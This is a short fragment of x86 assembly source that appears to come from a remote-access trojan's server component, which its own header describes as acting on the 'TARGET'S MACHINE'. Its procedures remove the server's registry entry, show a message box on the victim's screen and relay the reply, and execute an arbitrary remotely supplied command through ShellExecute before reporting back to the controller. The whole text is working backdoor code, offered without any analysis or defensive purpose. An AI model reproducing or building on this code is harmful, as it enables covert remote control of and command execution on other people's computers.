; ---
; In this file: ALL THE NICE STUFF A SERVER CAN DO ON TARGET'S MACHINE
;
; ---

nsRemoveServer    PROC

                  INVOKE  RegDeleteValue, hNETSERVERkey, ADDR regKeyName
                  mov     receiveLOCK, FALSE
                  INVOKE  PostQuitMessage, NULL

                  ret
nsRemoveServer    ENDP


nsMessageBox      PROC    messageTEXT:DWORD

                  INVOKE  GlobalAlloc, GHND, 4
                  mov     hDataMem, eax
                  INVOKE  GlobalLock, eax
                  mov     offsetData, eax

                  INVOKE  BringWindowToTop, hDlg
                  INVOKE  SetForegroundWindow, hDlg
                  INVOKE  MessageBoxA, NULL, messageTEXT, ADDR MsgboxCaption, MB_OK

                  ;compose buffer with reply from messagebox

                  mov     edi, offsetData
                  stosd

                  INVOKE  SendCommand, 00000001h, offsetData, remoteDESCRIPTOR

                  INVOKE  GlobalUnlock, offsetData
                  INVOKE  GlobalFree, hDataMem            

                  ret
nsMessageBox      ENDP


nsDDEExecute      PROC    DDEToExecute:DWORD

                  INVOKE  GlobalAlloc, GHND, 4
                  mov     hDataMem, eax
                  INVOKE  GlobalLock, eax
                  mov     offsetData, eax

                  INVOKE  ShellExecute, 0, 0, DDEToExecute, 0, 0, 0

                  mov     edi, offsetData
                  stosd

                  INVOKE  SendCommand, 00000002h, offsetData, remoteDESCRIPTOR

                  INVOKE  GlobalUnlock, offsetData
                  INVOKE  GlobalFree, hDataMem

                  ret
nsDDEExecute      ENDP


